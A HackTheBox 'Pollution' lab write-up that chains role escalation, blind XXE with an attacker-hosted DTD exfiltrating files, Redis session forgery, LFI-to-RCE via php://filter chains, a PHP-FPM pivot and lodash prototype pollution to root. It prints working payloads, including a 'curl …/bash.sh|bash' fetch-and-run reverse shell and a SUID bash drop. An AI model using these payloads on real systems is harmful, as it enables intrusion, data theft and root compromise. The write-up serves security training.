HTB: Pollution Writeup
Pollution - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Pollution |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.126 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Pollution chains four distinct vulnerability classes across three virtual hosts and two internal services. A role-escalation bug on collect.htb grants admin access to an internal “Pollution API” registration form, which turns out to accept raw XML and is vulnerable to blind XXE. Out-of-band exfiltration via an attacker-hosted DTD dumps .htpasswd, PHP source, and Redis credentials from developers.collect.htb. Those credentials feed a session-forging attack against an externally exposed Redis instance, bypassing auth entirely, which unlocks an LFI-to-RCE primitive built from PHP filter chains — landing a shell as www-data. From there, an internal PHP-FPM pool listening on 127.0.0.1:9000 is abused to pivot to user victor, and a root-owned internal NodeJS API on port 3000 falls to a classic lodash prototype pollution bug (CVE-2018-16487) that hijacks a child_process.exec call to run a planted SUID shell.
TL;DR: Role-escalation → admin API access → blind XXE (OOB DTD) leaks Redis creds + cracked htpasswd hash → Redis session forgery bypasses developers.collect.htb auth → LFI2RCE via php://filter chain → www-data → PHP-FPM pool pivot → victor → lodash prototype pollution (CVE-2018-16487) on internal NodeJS API poisons Object.prototype.shell → root.
Reconnaissance
Port Scanning
# initial scan from the jump hostnmap -Pn -sC -sV -T4 10.129.228.126Results: 22 (SSH) and 80 (Apache/HTTP) visible on a quick scan. A full port sweep revealed a third open port not obvious from the default top-1000: 6379 (Redis), exposed externally with no firewall restriction — this became the auth-bypass primitive later in the chain.
Service Enumeration
Three virtual hosts were in play, resolved via /etc/hosts on the jump box:
collect.htb— main site, registration/login, role-based accessforum.collect.htb— secondary sitedevelopers.collect.htb— internal-looking developer portal behind Basic Auth
# add vhosts on the jump hostsudo -n sh -c 'printf "10.129.228.126 collect.htb forum.collect.htb developers.collect.htb pollution.htb\n" >> /etc/hosts'Registering an account on collect.htb and logging in landed on /home. Enumerating the app surface (href=/action= scraping) surfaced /register, /login, and — critically — a /set/role/admin endpoint gated behind a token.
Vulnerability Assessment
- Broken access control:
/set/role/adminaccepts a token and flips the current session’s role to admin, unlocking/admin— an internal “Pollution API” management panel. - Blind XXE: The admin panel’s user-management form posts to
/apivia amanage_api=parameter containing raw XML, parsed server-side without disabling external entities. - Exposed Redis: Port
6379reachable from outside the host, no auth enforced beyond a static password later leaked via XXE. - LFI:
developers.collect.htb’s router builds file includes directly from apageGET parameter with no path sanitization.
Initial Foothold
Exploitation Path
1. Role escalation to admin
# register + login, then flip role using the leaked tokenJ=/tmp/pcj.txtcurl -s -c $J -b $J -i -X POST http://collect.htb/register -d 'username=d3vuser&password=d3vpass123'curl -s -b $J -X POST http://collect.htb/set/role/admin -d 'token=<redacted>'/admin now renders the “Pollution API” registration form, which builds and posts XML to /api.
2. Blind XXE → OOB exfiltration
The /api endpoint parses attacker-supplied XML from the manage_api field. In-band entity reflection wasn’t returned in the response, so exploitation required an out-of-band external DTD hosted on infrastructure the jump box controlled, retrieved by the target over the VPN tunnel (tun0, jump box IP 10.10.15.68).
# confirmed jump box VPN interface reachable by targetip -4 addr show | grep -Eo 'inet [0-9.]+'Malicious DTD served from a local Python HTTP listener (initial attempt on :8000 collided with an existing service on the jump box returning spurious 404s — moved to :8888):
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % payload "<!ENTITY % run SYSTEM 'http://10.10.15.68:8888/?leak=%file;'>">%payload;%run;Triggering payload sent to /api:
XML='<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://10.10.15.68:8888/evil.dtd">%xxe;]><root>...</root>'curl -s -b $J -X POST http://collect.htb/api --data-urlencode "manage_api=$XML"Why this works: the parser resolves the external parameter entity %xxe, fetches evil.dtd, and expands %file through a php://filter wrapper that base64-encodes the target file before it’s smuggled out inside a second outbound request (%run) to the exfil listener — classic two-stage OOB XXE, needed because binary/text file contents can’t safely traverse straight into an XML entity or URL otherwise.
Files pulled this way:
/var/www/developers/.htpasswd→ Apache-format$apr1$hash fordevelopers_group/var/www/developers/index.php→ confirmed the app trusts$_SESSION['auth']and doesinclude($_GET['page'] . ".php")(the LFI sink)/var/www/developers/bootstrap.php→ Redis session backend with passwordCOLLECTR3D1SPASS
3. Cracking the htpasswd hash
echo '$apr1$...' > hash.txtjohn hash.txt --wordlist=/usr/share/wordlists/rockyou.txt# recovered: developers_group : r0cket4. Redis session forgery — auth bypass
bootstrap.php stores PHP sessions in Redis and treats $_SESSION['auth'] == true as the sole gate on index.php. With the leaked password, a session could simply be forged rather than logged into:
redis-cli -h collect.htb -a COLLECTR3D1SPASSSET "PHPREDIS_SESSION:<own-PHPSESSID>" "auth|b:1;"Reloading developers.collect.htb (with Basic Auth developers_group:r0cket and the matching PHPSESSID cookie) now landed on the authenticated home page — no legitimate credentials for the app itself were ever needed.
5. LFI → RCE via php://filter chain
index.php’s include($_GET['page'] . ".php") with no sanitization is a textbook LFI. Rather than needing a writable file to include, the synacktiv php filter chain technique was used: a long, purpose-built chain of convert.iconv.* filters mutates an arbitrary base64 payload into executable PHP text purely through filter side effects, then convert.base64-decode renders it as real PHP inline — no file write needed, since the php://filter stream itself becomes the “file” being included.
# planted payload equivalent to: <?=`$_GET[0]`;;?># executed via crafted php://filter/... chain against index.php?page=<chain>curl -G "http://developers.collect.htb/index.php" \ --data-urlencode "0=curl 10.10.15.68:8888/bash.sh|bash" \ --data-urlencode "page=php://filter/<synacktiv-chain>/resource=home" \ -u developers_group:r0cket -b $JThe remote command pulled and executed a bash reverse shell payload, landing a shell as www-data.
Privilege Escalation
www-data → victor
Internal enumeration on the box turned up a PHP-FPM pool bound to 127.0.0.1:9000, configured to run as user victor:
# on target, as www-datacat /etc/php/*/fpm/pool.d/www.conf | grep -E 'user|listen'# listen = 127.0.0.1:9000# user = victorPHP-FPM speaks FastCGI, not HTTP — www-data had local access to the loopback port, so a raw FastCGI request was crafted to hand the pool arbitrary PHP for execution as the pool’s configured user, victor. Using cgi-fcgi to submit a payload script against the FPM socket executed code with victor’s privileges regardless of the fact the request originated from www-data, since the FPM worker process itself runs as victor.
# on target, as www-data — FastCGI request executes as victorcgi-fcgi -bind -connect 127.0.0.1:9000This yielded command execution as victor, and the user flag was retrieved:
User Flag: <redacted>victor → root
A root-owned internal Node.js API was listening on port 3000. Enumerating its routes and grabbing app source/config exposed a JWT signing secret (JWT_COLLECT_124_SECRET_KEY) and a MySQL account (webapp_user) usable to directly promote a database user to admin, yielding a valid admin JWT for the API.
With admin access to POST /admin/messages/send, the request body was polluted with a __proto__ key:
curl -s -X POST http://127.0.0.1:3000/admin/messages/send \ -H "Authorization: Bearer <forged-admin-jwt>" \ -H "Content-Type: application/json" \ -d '{"text":"x","__proto__":{"shell":"/home/victor/fakeshell"}}'This exploits CVE-2018-16487 — a prototype pollution flaw in lodash <= 4.17.10’s merge/mergeWith/defaultsDeep functions, where a crafted __proto__ key in user-controlled input isn’t blocked and gets merged straight onto Object.prototype. The target app (running lodash 4.17.0) merges request bodies with these functions somewhere in its message-handling path; polluting Object.prototype.shell means every object in the Node process that doesn’t already define its own shell property inherits the attacker’s value — including whatever config object root’s backend code passes to child_process.exec(cmd, { shell: <inherited-value> }).
A malicious fakeshell was pre-planted at /home/victor/fakeshell (writable by victor). Once Object.prototype.shell was poisoned to point at it, the next child_process.exec call executed by the root-owned Node process used the attacker’s shell binary instead of /bin/sh, executing arbitrary commands as root. That was used to drop a SUID bash:
# fakeshell content, planted before triggering the pollutioncp /bin/bash /tmp/rootbashchmod +s /tmp/rootbashVerification:
/tmp/rootbash -pid# uid=1000(victor) gid=1000(victor) euid=0(root) ...Root Flag: <redacted>Attack Chain Summary
Register on collect.htb → POST /set/role/admin (token) → admin panel access → Blind XXE at /api (manage_api=) via OOB external DTD → Leak .htpasswd, index.php, bootstrap.php (Redis creds: COLLECTR3D1SPASS) → Crack $apr1$ hash → developers_group:r0cket → Forge Redis session (SET PHPREDIS_SESSION:<sid> "auth|b:1;") → auth bypass on developers.collect.htb → LFI (index.php?page=) → RCE via synacktiv php://filter chain → Shell as www-data → PHP-FPM pool (127.0.0.1:9000, user=victor) abused via cgi-fcgi → victor (user flag) → Root-owned NodeJS API :3000 → admin JWT via webapp_user MySQL creds → CVE-2018-16487 lodash prototype pollution (__proto__.shell) poisons child_process.exec → Planted /home/victor/fakeshell executes as root → SUID /tmp/rootbash → root (root flag)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning, service/version detection |
curl | Manual HTTP requests for auth flow, XXE payload delivery, LFI2RCE trigger |
python3 -m http.server (custom handler) | OOB listener for blind XXE DTD hosting + exfil capture |
john (JohnTheRipper) | Cracking $apr1$ htpasswd hash against rockyou.txt |
redis-cli / raw socket | Forging PHPREDIS session to bypass developers.collect.htb auth |
| synacktiv php filter chain | Converting LFI into RCE with no file write |
cgi-fcgi | Speaking raw FastCGI to the PHP-FPM pool to pivot to victor |
| Crafted JWT + prototype pollution payload | Forging admin auth and triggering CVE-2018-16487 on the internal NodeJS API |
Key Learnings
Techniques Practiced
- Broken access control leading to privilege self-escalation via an unauthenticated role-change endpoint
- Blind/OOB XXE using a two-stage external DTD to exfiltrate binary-safe file contents through
php://filter+ base64 - Session-store poisoning: abusing an exposed Redis backend to forge application-level authentication state directly
- LFI-to-RCE via PHP filter chains (synacktiv technique) — RCE without ever writing a file to disk
- Lateral movement through an internal FastCGI/PHP-FPM socket running under a different Unix user
- Exploiting a well-known npm supply-chain-adjacent bug (CVE-2018-16487, lodash prototype pollution) against a real internal service to hijack
child_process.exec
Lessons Learned
- Internal services (Redis, PHP-FPM, Node APIs) that trust “only reachable from localhost/internal network” are a single misconfiguration away from full external exposure — Redis here had zero network isolation.
- XML parsers that don’t explicitly disable external entities remain exploitable even when the app never reflects parsed output — OOB exfiltration via attacker-hosted DTDs sidesteps that entirely.
- Session storage backends (Redis, Memcached) that authenticate purely via a shared static password become an authentication bypass the moment that password leaks through any other channel.
php://filterchains are a genuinely file-write-free RCE primitive against LFI — worth checking on any unauthenticatedinclude($_GET[...])sink before assuming LFI is “just” info disclosure.- Pinned dependency versions matter: lodash 4.17.0 predates the 4.17.11 patch for CVE-2018-16487 by several releases, and a single unguarded
merge-family call on user input reintroduced prototype pollution years after the CVE was public.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- dotguy (Hack The Box Official Writeup), Pollution, Document No. D22.100.217, Machine Author: Tr1s0n — used for background on the synacktiv php filter chain LFI2RCE technique, the PHP-FPM/
victorpivot mechanics, and general narrative structure. All IPs, credentials, command outputs, and payload values in this writeup are from the author’s own live solve, not the reference document.